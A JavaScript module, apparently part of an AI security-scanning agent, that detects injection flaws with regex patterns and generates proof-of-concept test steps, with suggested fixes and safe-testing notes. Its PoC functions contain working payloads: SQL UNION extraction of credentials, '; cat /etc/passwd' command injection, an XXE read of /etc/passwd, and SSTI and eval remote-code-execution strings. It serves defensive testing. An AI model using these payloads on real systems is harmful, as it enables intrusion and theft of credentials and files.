/**
 * Injection Tactics Module
 *
 * Detects injection vulnerabilities including SQL, Command, XXE, SSTI,
 * and Code injection. Priority 1 - most common vulnerability class.
 *
 * @module agents/adversary/tactics/injection
 */
import { registerTactic, generateFindingId, } from "./index.js";
// ============================================================================
// Patterns
// ============================================================================
const SQL_INJECTION_PATTERNS = [
    {
        id: "sql-string-concat",
        name: "SQL String Concatenation",
        description: "SQL query built with string concatenation",
        cwe: "CWE-89",
        severity: "critical",
        regex: /(?:query|sql|execute|exec)\s*\(\s*[`'"].*?\$\{|(?:query|sql|execute)\s*\(\s*['"].*?\+/gi,
    },
    {
        id: "sql-raw-query",
        name: "Raw SQL Query with Variables",
        description: "Raw SQL query with interpolated variables",
        cwe: "CWE-89",
        severity: "critical",
        regex: /(?:SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE)\s+.*?\$\{|\braw\s*\(\s*[`'"].*?\$\{/gi,
    },
    {
        id: "sql-format-string",
        name: "SQL Format String",
        description: "SQL query using format strings or f-strings",
        cwe: "CWE-89",
        severity: "critical",
        regex: /f['"'](?:SELECT|INSERT|UPDATE|DELETE).*?\{|\.format\s*\(.*?(?:SELECT|INSERT|UPDATE|DELETE)/gi,
    },
    {
        id: "sql-prisma-raw",
        name: "Prisma Raw Query",
        description: "Prisma $queryRaw or $executeRaw with template literals",
        cwe: "CWE-89",
        severity: "high",
        regex: /\$(?:queryRaw|executeRaw)\s*`[^`]*\$\{/gi,
    },
];
const COMMAND_INJECTION_PATTERNS = [
    {
        id: "cmd-exec-concat",
        name: "Command Execution with Concatenation",
        description: "Shell command built with string concatenation",
        cwe: "CWE-78",
        severity: "critical",
        regex: /(?:exec|execSync|spawn|spawnSync|system|popen)\s*\([^)]*\$\{|(?:exec|execSync)\s*\([^)]*\+/gi,
    },
    {
        id: "cmd-shell-true",
        name: "Shell True with User Input",
        description: "spawn/exec with shell:true and potential user input",
        cwe: "CWE-78",
        severity: "critical",
        regex: /spawn\s*\([^)]*,\s*\{[^}]*shell\s*:\s*true/gi,
    },
    {
        id: "cmd-backtick",
        name: "Shell Backtick Execution",
        description: "Backtick shell execution with variables",
        cwe: "CWE-78",
        severity: "critical",
        regex: /child_process.*?`.*?\$\{/gi,
    },
    {
        id: "cmd-os-system",
        name: "OS System Call",
        description: "Python os.system or subprocess with shell=True",
        cwe: "CWE-78",
        severity: "critical",
        regex: /os\.system\s*\(.*?f['"']|subprocess\.[^)]*shell\s*=\s*True/gi,
    },
];
const XXE_PATTERNS = [
    {
        id: "xxe-parse-no-disable",
        name: "XML Parsing Without DTD Disabled",
        description: "XML parsing without disabling external entities",
        cwe: "CWE-611",
        severity: "high",
        regex: /(?:parseString|parse|fromstring|XMLParser)\s*\([^)]*\)(?![^;]*(?:resolve_entities|no_network|DTD|external_entities))/gi,
    },
    {
        id: "xxe-dom-parser",
        name: "DOMParser Without Configuration",
        description: "DOMParser used without secure configuration",
        cwe: "CWE-611",
        severity: "medium",
        regex: /new\s+DOMParser\s*\(\s*\)/gi,
    },
    {
        id: "xxe-libxml",
        name: "libxml2 Unsafe Defaults",
        description: "libxml2 parsing with potentially unsafe defaults",
        cwe: "CWE-611",
        severity: "high",
        regex: /etree\.parse|etree\.fromstring|lxml\.etree/gi,
    },
];
const SSTI_PATTERNS = [
    {
        id: "ssti-handlebars",
        name: "Handlebars Template with User Input",
        description: "Handlebars.compile with potential user-controlled template",
        cwe: "CWE-1336",
        severity: "critical",
        regex: /Handlebars\.compile\s*\([^)]*(?:req\.|params\.|query\.|body\.|\$\{)/gi,
    },
    {
        id: "ssti-ejs-render",
        name: "EJS Render with User Input",
        description: "EJS render with user-controlled data",
        cwe: "CWE-1336",
        severity: "high",
        regex: /ejs\.render\s*\([^,]*,[^)]*(?:req\.|params\.|query\.|body\.)/gi,
    },
    {
        id: "ssti-jinja2",
        name: "Jinja2 Template from String",
        description: "Jinja2 Template() with user-controlled string",
        cwe: "CWE-1336",
        severity: "critical",
        regex: /Template\s*\([^)]*(?:request\.|args\.|form\.|f['"'])/gi,
    },
    {
        id: "ssti-pug-compile",
        name: "Pug Compile with User Input",
        description: "Pug.compile with user-controlled template",
        cwe: "CWE-1336",
        severity: "high",
        regex: /pug\.compile\s*\([^)]*(?:req\.|params\.|query\.|body\.)/gi,
    },
];
const CODE_INJECTION_PATTERNS = [
    {
        id: "code-eval",
        name: "Eval with User Input",
        description: "eval() with potentially user-controlled input",
        cwe: "CWE-94",
        severity: "critical",
        regex: /\beval\s*\([^)]*(?:req\.|params\.|query\.|body\.|\$\{|input|data|user)/gi,
    },
    {
        id: "code-function-constructor",
        name: "Function Constructor",
        description: "new Function() with dynamic code",
        cwe: "CWE-94",
        severity: "critical",
        regex: /new\s+Function\s*\([^)]*(?:\+|\$\{|concat)/gi,
    },
    {
        id: "code-vm-run",
        name: "VM RunIn* with User Input",
        description: "Node.js vm.runIn* with user-controlled code",
        cwe: "CWE-94",
        severity: "critical",
        regex: /vm\.runIn(?:Context|NewContext|ThisContext)\s*\([^)]*(?:req\.|body\.|params\.|\$\{)/gi,
    },
    {
        id: "code-python-exec",
        name: "Python exec/compile",
        description: "Python exec() or compile() with user input",
        cwe: "CWE-94",
        severity: "critical",
        regex: /(?:exec|compile)\s*\([^)]*(?:request\.|args\.|form\.|input\()/gi,
    },
    {
        id: "code-settimeout-string",
        name: "setTimeout/setInterval with String",
        description: "setTimeout/setInterval with string argument",
        cwe: "CWE-94",
        severity: "medium",
        regex: /set(?:Timeout|Interval)\s*\(\s*[`'"]/gi,
    },
];
// ============================================================================
// Tactic Implementation
// ============================================================================
const injectionTactic = {
    focusArea: "injection",
    name: "Injection",
    description: "Detects SQL, Command, XXE, SSTI, and Code injection vulnerabilities",
    patterns: [
        ...SQL_INJECTION_PATTERNS,
        ...COMMAND_INJECTION_PATTERNS,
        ...XXE_PATTERNS,
        ...SSTI_PATTERNS,
        ...CODE_INJECTION_PATTERNS,
    ],
    async analyzeFile(file, config) {
        const findings = [];
        for (const pattern of this.patterns) {
            if (!pattern.regex)
                continue;
            // Reset regex state
            pattern.regex.lastIndex = 0;
            let match;
            while ((match = pattern.regex.exec(file.content)) !== null) {
                // Calculate line number
                const beforeMatch = file.content.substring(0, match.index);
                const lineNum = (beforeMatch.match(/\n/g) || []).length + 1;
                // Skip if in comment
                const line = file.lines[lineNum - 1] || "";
                if (isInComment(line, match.index - beforeMatch.lastIndexOf("\n"))) {
                    continue;
                }
                // Skip if in test file
                if (file.relativePath.includes("test") || file.relativePath.includes("spec")) {
                    continue;
                }
                const finding = {
                    id: generateFindingId("injection", file.relativePath, lineNum, pattern.id),
                    tacticName: "injection",
                    focusArea: "injection",
                    patternId: pattern.id,
                    file: file.relativePath,
                    line: lineNum,
                    message: `${pattern.name}: ${pattern.description}`,
                    severity: pattern.severity,
                    confidence: calculateConfidence(match[0], pattern, file),
                    evidence: match[0].substring(0, 200),
                    cweIds: [pattern.cwe],
                    mitreIds: getMitreIds(pattern.id),
                    suggestedFix: getSuggestedFix(pattern.id),
                };
                findings.push(finding);
            }
        }
        return findings;
    },
    async generatePoC(finding) {
        const pocMap = {
            "sql-string-concat": () => sqlInjectionPoC(finding),
            "sql-raw-query": () => sqlInjectionPoC(finding),
            "sql-format-string": () => sqlInjectionPoC(finding),
            "sql-prisma-raw": () => sqlInjectionPoC(finding),
            "cmd-exec-concat": () => commandInjectionPoC(finding),
            "cmd-shell-true": () => commandInjectionPoC(finding),
            "cmd-backtick": () => commandInjectionPoC(finding),
            "cmd-os-system": () => commandInjectionPoC(finding),
            "xxe-parse-no-disable": () => xxePoC(finding),
            "ssti-handlebars": () => sstiPoC(finding, "handlebars"),
            "ssti-ejs-render": () => sstiPoC(finding, "ejs"),
            "ssti-jinja2": () => sstiPoC(finding, "jinja2"),
            "code-eval": () => codeInjectionPoC(finding),
            "code-function-constructor": () => codeInjectionPoC(finding),
            "code-vm-run": () => codeInjectionPoC(finding),
        };
        const generator = pocMap[finding.patternId];
        return generator ? generator() : null;
    },
    getPromptEnhancement() {
        return `When analyzing for injection vulnerabilities, focus on:

1. **Data Flow Tracing**: Track how user input flows from entry points (req.body, req.query, req.params, form data, API payloads) to sensitive sinks (database queries, shell commands, template engines, eval).

2. **SQL Injection Indicators**:
   - String concatenation in SQL queries
   - Template literals with variables in SQL
   - Missing parameterized queries
   - ORM raw query methods (Prisma $queryRaw, Sequelize.literal)

3. **Command Injection Indicators**:
   - spawn/exec with shell:true
   - String concatenation in command arguments
   - User input passed to child_process methods
   - Backtick execution with variables

4. **Template Injection (SSTI)**:
   - User input in template compilation
   - Dynamic template strings
   - Missing template sandboxing

5. **Code Injection**:
   - eval() with external data
   - new Function() with dynamic strings
   - vm.runIn* with user content
   - setTimeout/setInterval with string arguments

For each potential vulnerability, determine:
- Is there a clear path from user input to the sink?
- Are there any sanitization or validation steps?
- What's the exploitability in a realistic attack scenario?`;
    },
    getRelevantFilePatterns() {
        return [
            "**/api/**",
            "**/routes/**",
            "**/handlers/**",
            "**/controllers/**",
            "**/db/**",
            "**/database/**",
            "**/sql/**",
            "**/graphql/**",
            "**/*.ts",
            "**/*.js",
            "**/*.py",
            "**/*.go",
        ];
    },
};
// ============================================================================
// Helper Functions
// ============================================================================
function isInComment(line, position) {
    const beforePos = line.substring(0, position);
    return beforePos.includes("//") || beforePos.includes("/*") || beforePos.trimStart().startsWith("#");
}
function calculateConfidence(match, pattern, file) {
    let confidence = 70;
    // Higher confidence for obvious patterns
    if (match.includes("req.") || match.includes("request.") || match.includes("body.")) {
        confidence += 15;
    }
    // Higher confidence for critical severity
    if (pattern.severity === "critical") {
        confidence += 10;
    }
    // Lower confidence for minified or generated files
    if (file.relativePath.includes(".min.") || file.relativePath.includes("bundle.")) {
        confidence -= 20;
    }
    return Math.min(95, Math.max(50, confidence));
}
function getMitreIds(patternId) {
    const mapping = {
        "sql-string-concat": ["T1190", "T1059"],
        "sql-raw-query": ["T1190", "T1059"],
        "cmd-exec-concat": ["T1059", "T1203"],
        "cmd-shell-true": ["T1059", "T1203"],
        "xxe-parse-no-disable": ["T1190", "T1203"],
        "ssti-handlebars": ["T1059", "T1203"],
        "code-eval": ["T1059", "T1203"],
        "code-function-constructor": ["T1059", "T1203"],
    };
    return mapping[patternId] || ["T1059"];
}
function getSuggestedFix(patternId) {
    const fixes = {
        "sql-string-concat": "Use parameterized queries or prepared statements instead of string concatenation",
        "sql-raw-query": "Use ORM methods with proper escaping or parameterized queries",
        "cmd-exec-concat": "Use spawn with array arguments instead of string concatenation, avoid shell:true",
        "cmd-shell-true": "Remove shell:true and use array-based arguments",
        "xxe-parse-no-disable": "Disable DTD processing and external entities in XML parser configuration",
        "ssti-handlebars": "Never compile user-controlled templates; use precompiled templates with data binding",
        "code-eval": "Avoid eval(); use JSON.parse for data, or a secure sandbox for code execution",
        "code-function-constructor": "Avoid new Function() with dynamic content; use predefined functions",
    };
    return fixes[patternId] || "Review and sanitize user input before use in sensitive operations";
}
// ============================================================================
// PoC Generators
// ============================================================================
function sqlInjectionPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "identify-input",
            description: "Identify the user input parameter that flows to the SQL query",
            command: `Review ${finding.file}:${finding.line}`,
            expectedResult: "Locate the input parameter (e.g., req.query.id, req.body.name)",
        },
        {
            order: 2,
            action: "test-basic",
            description: "Test for SQL injection with a single quote",
            command: `curl -X GET "https://target/api/endpoint?id=1'"`,
            expectedResult: "SQL syntax error in response indicates vulnerability",
        },
        {
            order: 3,
            action: "confirm-injection",
            description: "Confirm injection with boolean-based test",
            command: `curl -X GET "https://target/api/endpoint?id=1' AND '1'='1"`,
            expectedResult: "Normal response - confirms injection point",
        },
        {
            order: 4,
            action: "extract-data",
            description: "Demonstrate data extraction capability",
            command: `curl -X GET "https://target/api/endpoint?id=1' UNION SELECT null,username,password FROM users--"`,
            expectedResult: "User credentials visible in response",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Access to the vulnerable endpoint",
            "Understanding of the database schema (for UNION-based extraction)",
        ],
        steps,
        payload: "' OR '1'='1",
        expectedResult: "Unauthorized data access or authentication bypass",
        safeTestInstructions: "Test only on isolated development/staging environments. Never test on production databases. Use a separate test database with synthetic data.",
    };
}
function commandInjectionPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "identify-input",
            description: "Identify the user input that flows to the command execution",
            command: `Review ${finding.file}:${finding.line}`,
            expectedResult: "Locate the input parameter used in shell command",
        },
        {
            order: 2,
            action: "test-basic",
            description: "Test for command injection with semicolon",
            command: `curl -X POST "https://target/api/process" -d '{"filename": "test; whoami"}'`,
            expectedResult: "Command output visible in response",
        },
        {
            order: 3,
            action: "confirm-blind",
            description: "Confirm blind command injection with time delay",
            command: `curl -X POST "https://target/api/process" -d '{"filename": "test; sleep 5"}'`,
            expectedResult: "Response delayed by 5 seconds indicates blind injection",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Access to the vulnerable endpoint",
            "Understanding of the server operating system",
        ],
        steps,
        payload: "; cat /etc/passwd",
        expectedResult: "System file contents or command output visible",
        safeTestInstructions: "Test only on isolated systems. Use non-destructive commands like 'whoami' or 'id'. Never use 'rm', 'dd', or other destructive commands. Set up network monitoring to detect any outbound connections.",
    };
}
function xxePoC(finding) {
    const steps = [
        {
            order: 1,
            action: "craft-payload",
            description: "Craft XXE payload to read local file",
            command: `Create XML: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>`,
            expectedResult: "Payload ready for submission",
        },
        {
            order: 2,
            action: "submit-payload",
            description: "Submit XXE payload to the endpoint",
            command: `curl -X POST "https://target/api/parse" -H "Content-Type: application/xml" -d @xxe-payload.xml`,
            expectedResult: "File contents visible in response",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Access to XML-accepting endpoint",
            "Understanding of server file system layout",
        ],
        steps,
        payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>',
        expectedResult: "Local file contents disclosed",
        safeTestInstructions: "Test on isolated systems only. Read non-sensitive files first (/etc/hostname). Never attempt SSRF or data exfiltration to external servers.",
    };
}
function sstiPoC(finding, engine) {
    const payloads = {
        handlebars: "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require('child_process').execSync('id');\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}",
        ejs: "<%= global.process.mainModule.require('child_process').execSync('id') %>",
        jinja2: "{{''.__class__.__mro__[1].__subclasses__()[407]('id',shell=True,stdout=-1).communicate()}}",
    };
    const steps = [
        {
            order: 1,
            action: "test-expression",
            description: "Test for template injection with arithmetic",
            command: `Submit payload: ${engine === "jinja2" ? "{{7*7}}" : "${7*7}"}`,
            expectedResult: "Response contains '49' - confirms template injection",
        },
        {
            order: 2,
            action: "escalate-rce",
            description: "Escalate to remote code execution",
            command: `Submit payload: ${payloads[engine] || "{{7*7}}"}`,
            expectedResult: "Command output visible in response",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Access to endpoint accepting template input",
            `Knowledge of ${engine} template engine syntax`,
        ],
        steps,
        payload: payloads[engine] || "{{7*7}}",
        expectedResult: "Remote code execution achieved",
        safeTestInstructions: "Start with safe arithmetic expressions (7*7). Only escalate on isolated test environments. Never execute destructive commands.",
    };
}
function codeInjectionPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "identify-sink",
            description: "Identify the eval/Function sink and its input source",
            command: `Review ${finding.file}:${finding.line}`,
            expectedResult: "Understand how user input reaches the code execution sink",
        },
        {
            order: 2,
            action: "test-basic",
            description: "Test with simple expression",
            command: `Submit: 1+1`,
            expectedResult: "Response contains '2' - confirms code execution",
        },
        {
            order: 3,
            action: "escalate",
            description: "Escalate to process access",
            command: `Submit: require('child_process').execSync('id').toString()`,
            expectedResult: "System command output visible",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: [
            "Access to endpoint accepting code input",
            "Understanding of Node.js runtime environment",
        ],
        steps,
        payload: "require('child_process').execSync('id').toString()",
        expectedResult: "Arbitrary code execution achieved",
        safeTestInstructions: "Start with safe expressions (1+1). Test on isolated systems only. Never execute file system modifications or network operations.",
    };
}
// ============================================================================
// Register Tactic
// ============================================================================
registerTactic(injectionTactic);
export { injectionTactic };
//# sourceMappingURL=injection.js.map